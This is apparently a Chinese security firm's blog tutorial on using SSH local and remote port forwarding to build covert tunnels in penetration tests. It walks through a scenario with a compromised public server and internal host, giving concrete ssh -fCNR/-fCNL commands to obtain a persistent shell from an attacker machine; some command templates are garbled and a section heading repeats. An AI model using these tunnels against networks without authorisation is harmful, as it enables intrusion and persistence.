提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”,表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城

      申请试用
        黄金城官网实验室 | 内网渗透—利用SSH进行端口转发&隐蔽隧道
        发布时间:2021-01-01 阅读次数: 517 次

        在渗透测试中我们经常会遇到一些内部测试的环境群、DMZ等机器群,这些目标都有着一些共有的特性,例如不出网、访问受限等,这给渗透测试带来了极大的困难。为了能够实现对这些机器的‘完全控制’,将整个目标网络打通,端口转发是必不可少的技术之一。


        本期黄金城黄金城官网实验将为大家带来如何利用SSH服务实现端口转发并搭建隐蔽隧道。


        1、SSH端口转发原理


        SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据,因为SSH为其他的TCP链接提供了一个黄金城官网的通道来进行数据传输,避免出现了用户名、密码及隐私信息的明文泄露情况。而且SSH链接还可以突破防火墙的限制,完成一些之前无法正常建立的TCP连接。


        2、SHH端口转发及搭建隧道实战


        1、准备


        SSH开启端口转发需要修改/etc/ssh/sshd_config配置文件,将GatewayPorts修改为yes。




        SSH端口转发的参数说明:


        -f 后台执行ssh指令

        -C 允许压缩数据

        -N 不执行远程指令

        -R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

        -L 本地端口转发

        -D 动态端口转发


        2、SSH进行本地端口转发


        将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。


        执行以下命令即可:

        ssh-L `:`::


        登陆前本地主机端口监听状态




        执行本地端口转发命令




        登陆后本地主机端口监听状态




        3、SSH进行本地端口转发


        SSH远程端口转发就是将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。


        执行以下命令即可:

        ssh -R `:`::


        假设现在有这样一个内网环境,我们已经获取了公网服务器A的权限以及内网服务器B的权限,但是我没有办法让外网攻击机C直接连接到内网服务器B,所以为了获取到B的一个稳定持久的SHELL,就可以通过SSH远程端口转发做到。


        公网服务器A的IP:192.168.210.38

        内网服务器B的IP:192.168.210.111

        外网攻击机C的IP:192.168.20.35




        且内部服务器B可以与公网服务器A进行通信,而无法与攻击机C进行通信。




        首先在内网服务器B上执行以下命令(反向代理):

        Ssh -fCNR 192.168.210.38:8888:localhost:22 root@192.168.210.38

        将B机器的22号端口流量都转发给A机器的8888端口


        然后在公网服务器A上执行以下命令(正向代理):

        Ssh -fCNL *:4321:localhost:8888 localhost

        将A机器上监听的4321端口的流量都转发给本地的8888端口


        在攻击机上,直接连接公网服务器A的4321端口即可。

        Ssh -p 4321 root@192.168.210.38

        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
        【网站地图】【sitemap】